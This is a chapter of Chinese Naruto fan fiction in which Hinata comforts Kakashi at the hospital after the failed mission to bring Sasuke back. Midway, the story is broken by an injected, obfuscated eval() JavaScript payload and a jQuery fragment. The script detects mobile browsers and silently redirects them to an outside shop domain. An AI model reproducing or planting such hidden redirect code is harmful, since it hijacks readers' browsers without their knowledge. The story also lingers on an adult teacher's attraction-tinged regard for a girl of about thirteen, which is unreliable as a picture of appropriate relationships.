第十七章：还有机会
雏田一直相信卡卡西。
不是因为他看起来有多可靠。
事实上，卡卡西老师大多数时候看起来都不太可靠。
他迟到，懒散，说话总是带着轻飘飘的笑意，连走路都像没有把骨头好好放进身体里。手里还常常拿着那本让人完全摸不清到底是什么“忍术书”的书，眼睛弯起来的时候，像什么事都没有放在心上。
可是雏田知道，不是这样的。
她见过卡卡西在她倒下时冲进场地的样子。
见过他抓住宁次手腕时，那只眼睛里没有半分笑意。
也见过他躺在医院病床上，眉头紧锁，手指在梦里摸索着握住她的手，像一个终于暴露出脆弱的人。
卡卡西老师并不是不在意。
他只是太习惯把所有在意都藏起来。
藏在笑里，藏在书后，藏在“没关系”和“放心吧”这些轻飘飘的话里。
所以当他出发去追佐助时，雏田告诉自己：
没关系的。
是卡卡西老师的话，一定可以。
他会带回鸣人君，会带回宁次哥哥，会带回牙君和志乃君，也会把佐助君带回来。
她只需要等。
等待也是一种相信。
她这样告诉自己。
可真正等起来，才知道原来相信也会痛。
最先被送回来的，是受伤的同伴。
医疗忍者和砂忍将人带回木叶时，医院门口一片混乱。
雏田赶过去的时候，看见宁次躺在担架上，脸色苍白得几乎没有血色。牙也受了重伤，赤丸趴在旁边，平时亮晶晶的眼睛都暗了下去。
她的手指一下子攥紧了衣袖。
“宁次哥哥……”
她想上前，可医护人员很快将宁次推进了病房。
那一刻，雏田才真正意识到这次任务有多危险。
不是训练。
不是考试。
不是会有人及时喊停的预选赛。
这是会死人的任务。
她站在走廊里，身体忽然有些发冷。
宁次回来了。
牙回来了。
志乃也回来了。
可鸣人君没有回来。
卡卡西老师没有回来。
佐助君也没有回来。
她心里的信心像被什么轻轻敲出了一道裂纹。
卡卡西老师真的没问题吗？
鸣人君真的没问题吗？
佐助君还活着吗？
她第一次发现，原来“相信一个人”并不能阻止不安。
因为越相信，越害怕那个人也会有来不及的时候。
村子里有人安慰她。
“放心吧，卡卡西上忍已经去了。”
“鸣人那孩子不会有事的。”
“佐助应该也能追回来。”
这些话听起来像温暖的火，可落在雏田心上，却只让那片薄冰下的裂缝更清楚。
大家好像都太相信卡卡西老师了。
相信他强大，相信他可靠，相信他一定可以解决一切。
可是有谁会想，卡卡西老师自己也会累，也会疼，也会失败吗？
雏田低下头，轻轻咬住唇。
她想去。
如果她跟着去，也许至少可以用白眼确认情况。哪怕结果不好，也比现在这样什么都不知道要好。
可她也知道，卡卡西老师拒绝她是对的。
她的身体还没有完全恢复。
她去了，也许不是帮忙，而是让别人分心。
这种认知让人难受。
比被拒绝更难受的是，她明白自己为什么被拒绝。
所以她只能等。
等得心慌时，她就训练。
清晨练白眼侦查，午后练柔拳，晚上一个人在道场里反复出掌。身体疲惫到极限，脑子里那些乱七八糟的猜测才会稍微停下来。
宁次醒来后，听说她又在过度训练，皱着眉说了一句：
“你还是这么容易把自己逼到极限。”
雏田低头。
“对不起……”
“我不是让你道歉。”
宁次的声音还是冷，可里面已经没有过去那种刺人的恨。
他看着她。
快十四岁的雏田，比中忍考试时又长开了一点。
身形依然纤细，却不再像从前那样总缩着肩。她的腰背在训练中渐渐挺直，白眼清澈，脸颊因为疲惫泛着浅浅的红。那种漂亮不是张扬的艳色，而是温柔清透的，像月下慢慢显出光泽的玉。
她自己完全不知道。
只低着头，像做错事一样，小声说：
“我只是想快一点变强。”
宁次沉默了一会儿。
“变强不是把自己弄垮。”
雏田轻轻点头。
“嗯。”
她答应了。
可宁次看得出来，她没有真正停下。
有些东西已经在她心里生根了。
不只是对鸣人的仰望。
也不只是对日向家的证明。
还有一些更隐秘的、连她自己都不敢看清的东西，正在让她想要快点长大。
--------------------
后来，日足告诉她，卡卡西和鸣人回来了。
雏田几乎是立刻抬头。
“鸣人君呢？”
“昏迷了。”日足说，“查克拉消耗过度，没有性命之忧。”
没有性命之忧。
她松了一口气。
可是下一句话又让她心口沉下去。
“佐助没有回来。”
日足的声音平静，带着一点惋惜。
“卡卡西赶到的时候，已经迟了。”
迟了。
这两个字像小石子落进水里，轻轻一声，却荡开很远的涟漪。
雏田低着头，手指慢慢收紧。
卡卡西老师现在会是什么样子？
他一定会觉得是自己的错吧。
就像她每一次失败时，都会觉得是自己不够努力、不够强、不够好。
卡卡西老师那么重视自己的学生。
佐助君没有回来，他怎么可能真的没事？
雏田告别父亲，换了外出的衣服，赶去了医院。
鸣人的病房外很热闹。
电梯门刚打开，雏田便听见人声一层一层涌过来。
“鸣人怎么样了？”
“医生，他什么时候醒？”
“不是说没事吗？怎么还睡着？”
医生在门口一遍遍提醒：“请安静一点，病人需要休息。”
可大家还是忍不住。
伊鲁卡老师在那里，木叶丸在那里，还有许多过去或许并没有真正靠近鸣人的人，如今都焦急地围在病房外。
雏田站在人群后面，进不去。
她看着那扇被围得水泄不通的门，心里生出一种很柔软的欣慰。
真好啊，鸣人君。
你终于被这么多人关心着了。
从前那个站在阳光下大声说自己要当火影，却总是被人误解的孩子，如今终于一点点被看见了。
雏田为他高兴。
是真心的。
可是这份高兴刚刚浮起来，她的目光便被走廊另一边吸引了过去。
卡卡西一个人靠在护栏旁。
手里拿着那本熟悉的书。
雏田只看了一眼，耳尖便有些热。
那本“亲热什么的”书。
他们之间那个不能告诉红老师的秘密。
可很快，她发现卡卡西并没有在看书。
他的手指停在同一页很久很久，纸页没有翻动，眼睛也没有真正落在字上。
书只是被他拿在手里。
像一面很薄的盾。
用来挡住别人，也挡住他自己。
周围所有热闹都围着鸣人的病房。
而卡卡西站在那片热闹之外，银灰色的头发垂下来，那只眼睛低着，身形微微倚在护栏上，看起来仍然懒散，却又有种说不出的疲惫。
他明明离人群那么近。
却像被隔在另一个安静的地方。
雏田的心忽然轻轻疼了一下。
她太熟悉这种感觉了。
站在人群边缘，看着别人的世界热闹起来，而自己像被放在看不见的角落里。
只是卡卡西老师和她不一样。
她过去是因为胆怯而站在角落。
卡卡西老师却像是主动把自己放在那里。
把难过留给自己，把安慰留给别人。
雏田刚想走过去，电梯那边忽然传来急促的脚步声。
小樱跑了过来。
她脸色苍白，眼眶红得厉害，几乎是直接冲到了卡卡西面前。
“卡卡西老师，佐助君……真的没有回来吗？”
雏田停住脚步。
卡卡西合上书。
那动作很轻，却像早就知道这一幕迟早会发生。
“小樱啊。”
他呼出一口气。
“嗯……佐助他的确没能回来。”
小樱的肩膀狠狠颤了一下。
“为什么？”
她的声音一下子碎了。
“老师你为什么不能带他回来？”
走廊里安静了一瞬。
鸣人病房前的人也忍不住往这边看。
小樱像已经顾不上别人的目光。
她嘴唇颤抖，眼泪几乎要掉下来，却又倔强地忍着。
“为什么……不是说卡卡西老师去了吗？为什么还是没能……”
话说到一半，她像再也说不下去，只是死死攥住拳头。
雏田看着小樱。
她忽然很清楚地意识到，小樱是真的很爱佐助。
爱到在这一刻，连平时的礼貌和骄傲都顾不上。
爱到可以把自己的痛苦毫无遮掩地摊在卡卡西面前。
如果有一天鸣人君也离开木叶，她会变成这样吗？
这个念头只是闪过，雏田便觉得心口发冷。
她不敢继续想。
于是她把目光移回卡卡西身上。
然后，她看见了卡卡西从未在清醒时露出过的神情。
那只眼睛还是低垂着，眉尾也仍然有些懒洋洋地下压。可平时那种轻松的氛围已经完全不见了。
他像一块被雨水浸透的布，仍然努力维持原本的形状，里面却沉重到快要承受不住。
“对不起。”
卡卡西说。
声音平静得近乎没有起伏。
“我……没能带他回来。”
他没有解释。
没有说自己赶到时已经晚了。
没有说敌人太强，也没有说鸣人已经尽力，更没有说这不是他的错。
他只是说，对不起。
好像只要他站在这里，他就必须承担所有人的失望。
雏田心里忽然涌上一股难以言喻的酸涩。
卡卡西老师。
他也是佐助君的老师啊。
他怎么可能不难过？
可他甚至连难过都没有表现出来。
他还试图弯起眼睛。
像平时那样，轻轻对小樱说：
“他会回来的，小樱。”
那一瞬间，雏田觉得自己几乎要生气了。
不是对小樱。
也不是对任何人。
是对卡卡西这样对待自己而生气。
傻瓜。
就算是成熟的大人，可也还是傻瓜。
明明自己也很痛，却还是先去接住别人的痛。
明明心里也在流血，却还要把声音放得那么平，好像只要他不倒下，其他人就可以继续依靠他。
雏田想上前。
想告诉他，不是这样的。
想说卡卡西老师也可以难过，也可以不用马上安慰别人，也可以承认自己没有办法。
可是她的脚像被钉在原地。
因为她知道，卡卡西不是习惯被人安慰的人。
他在用温柔的方式拒绝外界介入。
就像她曾经用低头和道歉躲开所有目光一样。
只是他的躲藏更成熟，也更不容易被人发现。
“你也来了吗，雏田？”
卡卡西忽然看向她。
雏田怔住。
像是被抓到了心事，她立刻低头行礼。
“卡卡西老师，小樱。”
小樱也像这时才发现她，表情有些不自在。
“……雏田。”
雏田抬头看她。
小樱眼眶还红着，却努力把声音放平。
“你是来看鸣人的吗？”
“是、是的。”
雏田回答。
可是她的目光却忍不住又落回卡卡西身上。
她今天穿着浅紫色外衣，头发比中忍考试时长了一点，柔软地垂在脸侧。因为一路赶来，脸颊带着浅浅的红，白眼清澈，眼神里藏着担忧。
她不是那种一眼明艳夺目的少女。
可是越看，越会被那种温润的漂亮吸引。
像一块还没有完全被雕琢开的玉。
美得很安静，也很柔软。
卡卡西注意到了她的视线。
于是他又笑了一下。
“鸣人没事，只是查克拉消耗过量，过几天就好了。”
顿了顿，他补上一句：
“放心吧，雏田。”
又来了。
他又在安慰她。
明明她还没有问。
明明她真正担心的，也不只是鸣人。
雏田心里的焦躁像被风吹起的小火，一点点烧起来。
她想说：我不是只想听你告诉我别人没事。
我也想知道你有没有事。
可是话堵在喉咙里。
怎么也出不来。
小樱很快转身去了鸣人病房那边。
离开前，她低声说了句：
“我去问问医生。”
“去吧，小樱。”
“再见，小樱。”
卡卡西和雏田同时开口。
小樱离开后，走廊里忽然只剩下他们两个。
当然，不远处仍然有很多人。
鸣人病房前仍然嘈杂。
可他们两人之间像被隔出一小片安静。
卡卡西靠在护栏上，一时竟不知道该说什么。
这很少见。
他一向擅长说话。
擅长把沉默变成玩笑，把尴尬带过去，把自己的情绪藏得无声无息。
可在雏田面前，他忽然觉得有些话说得太轻，会显得敷衍；说得太重，又像在承认什么。
他下意识又想去摸那本书。
手指刚碰到书脊，便想起那句：
“等我长大以后，教我那个忍术吧。”
卡卡西的手停住。
然后默默收了回来。
不行。
至少在雏田面前，绝对不能再拿出来。
雏田看见他的动作，耳尖慢慢红了。
她不知道卡卡西在想什么。
可她知道那本书与他们之间那个秘密有关。
只属于他们两个人的秘密。
想到这里，心口竟然在这样沉重的气氛里，轻轻跳了一下。
她慌忙把注意力拉回来。
不行。
现在不是想那些的时候。
她看着卡卡西。
他看起来会自己痊愈。
像受了伤的忍兽，会找个安静的地方把伤口舔好，然后再若无其事地回到人前。
他那么坚强，一定会这样。
可也正因为知道他能做到，雏田才更替他难过。
一个人把自己拼起来，难道就不疼吗？
她已经无法继续沉默。
“我说……”
“那个……”
两个人同时开口。
卡卡西顿了一下，随后像松了口气一样，把话题交给她。
“什么事啊，雏田？”
雏田抬头看他。
真正想问的话太重。
她不能直接问“卡卡西老师是不是很难过”。
也不能说“请不要用那种笑”。
她怕他会像平时一样，用玩笑轻轻挡开。
于是她换了一个问题。
“佐助君……还活着吗？”
卡卡西怔了一下。
似乎没想到她会问这个。
雏田和佐助并不算亲近。
至少表面上不算。
可她问得认真，不像只是礼貌寒暄。
卡卡西点头。
“嗯，还活着。”
雏田轻轻松了一口气。
然后，她低下头。
嘴唇张了张，又合上。
像在很努力地组织一句不会伤到他的安慰。
卡卡西没有催。
他只是静静看着她。
十四岁的门槛近在眼前，雏田身上的少女感比过去更明显了。她仍旧羞怯，仍旧会脸红，可那份温柔里已经开始有了自己的主意。她不是只会被人推着走的小女孩了。
她在试着靠近。
试着用自己的方式，触碰他藏起来的伤口。
终于，她很轻地说：
“所以，以后还有机会吧。”
一句话。
很短。
没有前因后果，也没有慷慨激昂的鼓励。
可卡卡西听懂了。
佐助还活着。
所以还有机会。
这一次失败，不代表永远失败。
没能带他回来，不代表再也不能把他带回来。
也不代表所有错都应该压在卡卡西一个人身上。
雏田没有把话说得太明白。
她把锋利的部分都收起来，只递给他最柔软、最不让人难堪的一点。
就像她在他梦里没有说“我是日向雏田”，只是一次又一次说“是我呀”。
她总是这样。
不强行进入别人的痛苦，却会安静站在边缘，递来一点温度。
卡卡西看着她，忽然笑了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821951|211160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
这一次是真心的。
那只眼睛终于从疲惫里弯起来，带着很浅，却很真实的笑意。
“是啊。”
他说。
“你说得对，雏田。”
雏田心口一松。
她知道，自己这句话有用。
哪怕只是一点点。
也已经很好了。
因为她现在能为卡卡西老师做的事情太少。
她不能替他把佐助带回来，也不能替他承担小樱的责问，更不能替他抹去那些过去积累下来的失败和失去。
可是至少，她可以告诉他：
还有机会。
你不用在这里停下。
你也不用一个人把所有过错背起来。
卡卡西看着她，心里忽然想起梦里的那只手。
那个女孩子的声音。
温柔，害羞，像很轻的雨。
“是我呀。”
不知道为什么，眼前的雏田让他想起了那个声音。
或许是因为她们都有一种相似的温度。
不会逼近，却能让人安心。
不会拆穿，却能接住一点摇晃。
卡卡西的目光在雏田脸上停了一瞬，又很快移开。
不。
梦只是梦。
而雏田只是雏田。
是一个快要十四岁的孩子。
一个很好的、很温柔的孩子。
“谢谢你。”他说。
雏田睁大眼。
“欸？”
卡卡西弯着眼。
“刚才的话，谢谢。”
雏田的脸一点点红了。
她似乎完全没想到卡卡西会这样认真地道谢。
“我、我只是……”
她想说自己只是随便说了一句。
可是又觉得那样不对。
因为她不是随便说的。
她是真的想安慰他。
于是她低下头，声音轻轻的。
“能帮上一点忙的话，就好了。”
卡卡西看着她红透的耳尖，心里某处又被轻轻碰了一下。
这孩子真是……
他想说“已经帮上了”。
却又觉得这句话说出口，也许会让她更不知所措。
于是他只是抬手，想像从前那样揉揉她的头发。
可手抬到一半，又停住了。
雏田已经不是中忍考试前那个只会低头的小女孩了。
她快十四岁了。
少女的轮廓开始清晰，漂亮也越来越难被忽视。再像从前那样随手揉头，似乎也变得没有那么自然。
卡卡西意识到这一点时，自己都怔了一下。
雏田却注意到了他停住的动作。
她抬起眼，白色眼睛里有一点疑惑。
“卡卡西老师？”
卡卡西若无其事地把手放回去。
“没什么。”
雏田眨了眨眼。
不知道是不是错觉，她觉得卡卡西老师刚才好像想摸她的头，又没有摸。
这个认知让她心里忽然有点微妙。
从前她总是不甘心他把自己当小孩子。
可现在他真的停住了，她又觉得心口像被一根细细的线轻轻拉了一下。
是因为她长大一点了吗？
还是因为卡卡西老师觉得这样不合适？
她不知道。
只觉得走廊里忽然变得很安静。
安静到她能听见自己的心跳。
鸣人病房外的人声仍然热闹。
可那热闹离他们很远。
雏田低下头，鼓起勇气。
“卡卡西老师。”
“嗯？”
“也请老师……不要只想着安慰别人。”
这句话终于说出来了。
比她想象中更轻。
却也比她想象中更直。
卡卡西的眼神微微一顿。
雏田的脸一下子红透。
她像被自己的大胆吓到，立刻后退半步。
“那、那个，我不是想责备老师……”
“我知道。”
卡卡西轻声说。
雏田抬头。
他的眼睛没有笑得很夸张，也没有用玩笑把话挡回去。
只是很安静地看着她。
“我知道。”
他说第二遍。
雏田的心忽然软下来。
她轻轻点头。
“那我……先回去了。下次再来看鸣人君。”
“嗯。”
卡卡西说。
“路上小心。”
雏田走了几步，又回头。
卡卡西仍然靠在那里。
书还在手里。
却没有打开。
她想了想，忽然很认真地说：
“卡卡西老师。”
“嗯？”
“佐助君还活着。”
她的声音很轻。
“所以，小樱也好，鸣人君也好，老师也好……都还有可以努力的地方。”
卡卡西望着她。
雏田红着脸，却没有避开他的视线。
“我也会努力的。”
她像是在对他说，又像是在对自己说。
“我也想做一点能做到的事。”
这一次，不等卡卡西回答，她便转身离开。
脚步有点快。
像逃跑。
却又不像过去那种胆怯的逃跑。
更像是终于说出了心里话，害羞得不知该怎么面对结果。
卡卡西站在原地，看着她的背影。
浅紫色的衣角在走廊拐角一晃，消失不见。
他低头，看着手里的书。
忽然觉得今天确实不太适合继续看。
“不要只想着安慰别人啊……”
他低声重复了一遍。
然后笑了。
这个笑很轻。
却是这一天里第一个真正让他感觉胸口松开的笑。
雏田。
真是个不可思议的孩子。
明明声音那么小，却偏偏能让人听进去。
明明自己也还在成长，却已经会用那么温柔的方式，接住别人的失败。
卡卡西的手指搭在书脊上。
脑海里不知为何，又浮现出梦里的那只手。
小小的。
柔软的。
很温暖。
他皱了皱眉。
为什么又想起来了？
--------------------
雏田离开医院后，没有立刻回家。
她走在木叶的街道上，夕阳从屋檐之间斜斜落下来，把修缮中的村子染成温暖的橙色。
风里有木料的气味。
有药草味。
也有某家店铺刚刚蒸好点心的甜味。
从前她闻到甜味，会想给鸣人君带一点。
现在她仍然会想。
可是同时，她脑海里也会浮现出卡卡西吃秋刀鱼时低低笑着说“我当然想吃啊，雏田”的样子。
雏田停下脚步。
脸颊慢慢红了。
不能再想了。
她告诉自己。
现在有更重要的事。
佐助君还活着。
所以还有机会。
如果有机会，就要做点什么。
她不能再只是站在医院走廊里，用一句话安慰卡卡西老师。
也不能永远只是等着别人回来。
她有白眼。
她可以侦查，可以寻找，可以追踪。
也许她还不够强。
也许正面战斗仍然会害怕。
可是她不想因为害怕，就永远把自己放在后面。
雏田抬头，看向远处渐渐暗下来的天空。
再过不久，她就十四岁了。
十三岁的她，被很多人接住。
红老师，牙，志乃，宁次哥哥，鸣人君。
还有卡卡西老师。
可是十四岁的她，想试着伸出手。
不是只为了鸣人君。
也不是只为了父亲和日向家。
更不是为了证明给谁看。
她只是想在还有机会的时候，真的做点什么。
想让卡卡西老师知道，他说“会连雏田的那份一起努力”时，雏田也想有一天能说：
这一次，我也会连着卡卡西老师的那份，一起努力。
雏田握紧手。
夕阳落在她侧脸上。
少女的轮廓被光镀得柔和，白眼清澈，睫毛轻颤，唇角因为紧张而轻轻抿着。
她自己不知道，那一刻的自己有多漂亮。
不是被保护的漂亮。
也不是柔弱到让人心疼的漂亮。
而是终于想要迈出去时，温柔里长出勇气的漂亮。
像温玉被一点点打磨，终于透出内里坚韧的光。
“还有机会。”
她轻声说。
所以，不能只是等。
她转身，朝第八班的方向走去。